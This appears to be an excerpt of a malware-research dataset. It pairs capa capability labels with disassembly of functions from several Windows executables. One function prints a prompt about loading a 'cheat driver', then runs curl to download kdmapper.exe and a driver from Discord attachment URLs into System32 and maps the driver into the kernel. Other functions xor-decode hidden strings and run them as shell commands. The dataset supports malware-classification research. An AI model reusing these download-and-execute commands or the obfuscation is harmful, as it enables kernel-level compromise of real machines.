joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001675c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400167da
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400167d1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400167d1
mov rax, qword [rbp - 8]
jmp 0x1400167ef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400167a4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140004000
Capabilities:
Encode data using xor

Disassembly:
xor rcx, rcx
sub rcx, 0xffffffffffffff93
lea rax, [entry0]
movabs rbx, 0x38015a356677cf87
xor qword [rax + 0x27], rbx
sub rax, 0xfffffffffffffff8
loop 0x14000401b
iretd
Function at 0x140004737
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012bb0
mov r15, qword [0x140020504]
cmp r15, 1
jne 0x140004806
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x14000479c
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x14000479c
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x140004779
push qword [0x1400205e4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004806
push 5
push 0
push 1
push qword [0x1400205e4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205e4]
call fcn.14000dd0c
mov rcx, qword [0x1400205e4]
call fcn.14000dd20
or rax, rax
je 0x140004806
mov rbp, qword [0x1400205ec]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x1400047e3
mov rax, 1
jmp 0x140004812
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x1400069e4
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f180]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021200]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020630]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020630]
call fcn.1400123b8
lea rcx, [0x140021200]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
fdivr st(7)
or byte [rax], cl
invalid
leave
dec dword [rax]
or dh, al
dec dword [rax]
or ah, al
dec dword [rax]
or dl, al
inc dword [rdi]
invalid
mov dh, 0xff
invalid
invalid
wait
inc dword [rsi]
invalid
xchg ecx, eax
inc dword [rsi]
invalid
invalid
add eax, 0x5ff7d05
add eax, 0x505ff7b
js 0x14003f6f3
inc dword [0x146036cfe]
add eax, 0x5ff7605
add eax, 0x404ff74
jno 0x14003f6ff
inc dword [rsp + rax]
add al, 4
outsd dx, dword [rsi]
inc dword [rsp + rax]
insd dword [rdi], dx
inc dword [rsp + rax]
imul edi, edi, 4
add al, 0x68
inc dword [rsp + rax]
inc word [rsp + rax]
inc dword fs:[rsp + rax]
invalid
Function at 0x140002ea0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x98
mov rax, qword [0x140058010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [0x140058c08]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140058e68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140058cc8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140058e60]
call qword [sym.imp.USER32.dll_DestroyWindow]
movups xmm0, xmmword [0x14004f868]
movzx eax, byte [0x14004f888]
xor ecx, ecx
cmp dword [0x140058018], 2
movups xmm1, xmmword [0x14004f878]
mov byte [rsp + 0x50], al
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x14000309d
movdqa xmm0, xmmword [str.4444444444444444y]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x140050700]
mov eax, 5
movdqa xmm4, xmmword [0x140050800]
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm7
movdqa xmm7, xmmword [0x140050720]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm8
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140050760]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140050760]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140002f80
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x80]
cmp ecx, 0x21
jge 0x1400030df
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x21
jl 0x1400030b0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140047830
add rsp, 0x98
ret
Function at 0x140004160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
movaps xmmword [rsp + 0x60], xmm6
lea rcx, str.radar
movaps xmmword [rsp + 0x50], xmm7
xor edx, edx
mov r8d, 0x209f
call fcn.14001ae00
mov rdx, qword [0x140058d60]
lea r8, [rbp + 0x48]
xor r13d, r13d
lea rcx, [rbp - 0x40]
mov dword [rbp + 0x48], r13d
mov rax, qword [rdx + 0x3e88]
mov byte [rax + 0x98], 1
mov rax, qword [rdx + 0x3e88]
mov byte [rax + 0x98], 1
mov rax, qword [rdx + 0x3e88]
lea rdx, [rbp + 0x50]
movups xmm0, xmmword [rbx]
movsd xmm1, qword [rbx + 0x10]
mov rdi, qword [rax + 0x280]
movaps xmmword [rbp - 0x40], xmm0
movsd qword [rbp - 0x30], xmm1
call fcn.140003a90
movd xmm0, dword [rbp + 0x50]
lea rcx, [rbp - 0x40]
mov rax, qword [0x140058d60]
movd xmm1, dword [rbp + 0x48]
movss xmm7, dword [0x14005048c]
cvtdq2ps xmm0, xmm0
mov dword [rbp - 0x40], 0x3f800000
mov dword [rbp - 0x3c], 0x3f800000
mov dword [rbp - 0x38], 0x3f800000
movss xmm6, dword [rax + 0x37d8]
movss dword [rbp + 0x50], xmm0
movaps xmm0, xmm6
mulss xmm0, dword [0x140050458]
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x34], xmm0
movss dword [rbp + 0x54], xmm1
call fcn.140011130
movaps xmm0, xmm6
mov dword [rbp - 0x40], 0x3f800000
mulss xmm0, dword [0x140050478]
lea rcx, [rbp - 0x40]
mov r15d, eax
mov dword [rbp - 0x3c], 0x3f400000
mov dword [rbp - 0x38], 0x3e800000
movss dword [rbp - 0x34], xmm0
call fcn.140011130
lea rcx, [rbp - 0x40]
movss dword [rbp - 0x34], xmm6
mov r14d, eax
mov dword [rbp - 0x40], 0x3f666666
mov dword [rbp - 0x3c], 0x3f666666
mov dword [rbp - 0x38], 0x3f666666
call fcn.140011130
movss xmm6, dword [0x140050550]
mov r12d, eax
test eax, 0xff000000
je 0x140004307
movss xmm2, dword [0x140050570]
lea rdx, [rbp + 0x50]
mov dword [rsp + 0x28], 0xb
xorps xmm3, xmm3
mov rcx, rdi
movss dword [rsp + 0x20], xmm6
call fcn.140030680
mov r8d, dword [rdi + 0x78]
mov r9d, r12d
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 1
call fcn.14002eca0
mov dword [rdi + 0x78], r13d
test r15d, 0xff000000
je 0x14000435d
movss xmm2, dword [0x140050570]
lea rdx, [rbp + 0x50]
mov dword [rsp + 0x28], 0xb
xorps xmm3, xmm3
mov rcx, rdi
movss dword [rsp + 0x20], xmm6
call fcn.140030680
mov r8d, dword [rdi + 0x78]
mov r9d, r15d
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 1
call fcn.14002eca0
mov dword [rdi + 0x78], r13d
test r14d, 0xff000000
je 0x1400043a5
movss xmm2, dword [0x140050554]
lea rdx, [rbp + 0x50]
mov dword [rsp + 0x28], 0xb
xorps xmm3, xmm3
mov rcx, rdi
movss dword [rsp + 0x20], xmm6
call fcn.140030680
mov r8d, dword [rdi + 0x78]
mov r9d, r14d
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.14002fbb0
mov dword [rdi + 0x78], r13d
mov rbx, qword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp fcn.14001d1a0
Function at 0x140004f90
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140058010]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
lea rdx, str.Do_you_want_to_load_The_cheat_driver___y_n_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ec90
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000ee60
lea rcx, [rsp + 0x20]
mov rbx, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x38]
cmp rsi, 0x10
cmovae rcx, rbx
mov rdi, qword [rsp + 0x30]
cmp rdi, 1
jne 0x140005026
mov r8, rdi
lea rdx, [0x14004aa48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140005098
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 1
jne 0x14000504c
mov r8, rdi
lea rdx, [0x14004a834]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140005098
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 3
jne 0x140005072
mov r8, rdi
lea rdx, [0x14004aa4c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140005098
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 3
jne 0x1400050c0
mov r8, rdi
lea rdx, [0x14004aa50]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400050c0
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1118602776524632135_1118839599486226432_kdmapper.exe___output_C:WindowsSystem32kdmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1118602776524632135_1118839965623799808_rlbmods.sys___output_C:WindowsSystem32drvmoment.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__kdmapper.exe_drvmoment.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp rsi, 0x10
jb 0x1400050fa
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400050f2
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140047850
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140047830
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140010ba0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140010bfd
lea rbx, [0x14004b160]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140010be4
cmp r10, 2
jb 0x140010be4
cmp byte [r9], r8b
jne 0x140010be4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140010bc0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140010c3f
lea rbx, [0x14004b160]
cmp r8b, 0x23
jne 0x140010c23
cmp byte [r9], r8b
jne 0x140010c23
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140010c10
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140010d80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140010d9a
mov qword [r8], 0
lea rdx, [0x14004ff54]
call fcn.140010c50
mov rbx, rax
test rax, rax
jne 0x140010dba
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140010e91
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140010e91
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140010e91
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140010e91
cmp rdi, 0xffffffffffffffff
je 0x140010e91
mov rax, qword [0x140058d60]
test rax, rax
je 0x140010e2e
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140010e91
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140010e7e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140058d60]
test rax, rax
je 0x140010e73
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140010e9a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140010e8c
mov qword [r14], rdi
mov rax, rsi
jmp 0x140010e9c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140013360
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x14004b160]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x140058d60]
not ebx
cmp dword [rcx + 0x3ebc], ebx
jne 0x1400133eb
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.140025130
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x14001f420
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140058010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140058d60]
mov edi, ecx
cmp byte [rbx + 0x4235], 0
jne 0x14001f481
cmp byte [rbx + 0x4236], 0
jne 0x14001f481
movsx r9d, word [rbx + 0x531a]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140010a60
test dil, 1
je 0x14001f5a8
jmp 0x14001f50a
movss xmm1, dword [rbx + 0x3890]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x531a]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140050578]
mulss xmm1, dword [0x140050568]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdf4]
addss xmm1, dword [rbx + 0xdf8]
mov qword [rbx + 0x3fa0], rax
mov dword [rbx + 0x3f8c], 1
movss dword [rbx + 0x3f98], xmm0
movss dword [rbx + 0x3f9c], xmm1
movss xmm0, dword [rbx + 0x38ec]
mulss xmm0, dword [0x14005045c]
or dword [rbx + 0x3f88], 0x41
movss dword [rbx + 0x3fe8], xmm0
call fcn.140010a60
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001f560
lea r11, [0x14004b160]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x14001f543
cmp byte [r8], r9b
jne 0x14001f543
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001f530
not ecx
call fcn.140018750
test rax, rax
je 0x14001f5a8
cmp byte [rax + 0x96], 0
je 0x14001f5a8
mov byte [rax + 0x9d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x531a]
mov edx, 0x10
movsx r9d, word [rbx + 0x531a]
call fcn.140010a60
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14001ae00
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140047830
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140023cb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x53c8], 0
lea rbx, [rcx + 0x53d0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140023d57
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x140023d0a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140025d70
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1400112a0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x53c8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x53d8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140058d54]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x140023d5f
mov rcx, rbx
call fcn.1400112a0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400242d0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140058d60]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140024333
mov qword [rsp], rbx
lea rbx, [0x14004b160]
nop dword [rax]
cmp r9b, 0x23
jne 0x140024313
cmp byte [r8], r9b
jne 0x140024313
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140024300
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5378]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140024367
mov r10, qword [r10 + 0x5380]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14002436e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140024354
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x1400483b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400483fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400483fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400483fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400483fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400483fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400483fc
xor al, al
add rsp, 0x28
ret

Function at 0x1412e8000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x1412e800a
jmp 0x1412ea00f
jmp fcn.140d11058
Function at 0x140001c80
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x14006e460]
xor ebx, ebx
movdqa xmm1, xmmword [0x14006e440]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x8cc8a39d
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0x100ccc4
nop dword [rax]
lea eax, [rcx - 0x2b]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x26
jb 0x140001cc0
lea rcx, [rbp - 0x30]
mov byte [rbp - 9], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x28a
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14006e420]
mov rcx, rbx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xbb94918a
mov dword [rbp - 0x1c], 0x899f9990
mov dword [rbp - 0x18], 0xdadddd80
mov word [rbp - 0x14], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140001d20
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x13], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e550]
movdqa xmm1, xmmword [0x14006e330]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax + rax]
lea eax, [rbx - 0x2b]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1f
jb 0x140001d60
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x10], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001d90
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x14006e420]
xor ebx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov ecx, ebx
mov dword [rbp - 0x20], 0xbb94918a
mov dword [rbp - 0x1c], 0x899f9990
mov dword [rbp - 0x18], 0xdadddd80
mov word [rbp - 0x14], 0x100
nop dword [rax]
lea eax, [rcx - 0x2b]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140001dd0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x13], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e550]
movdqa xmm1, xmmword [0x14006e330]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax + rax]
lea eax, [rbx - 0x2b]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1f
jb 0x140001e10
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x10], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret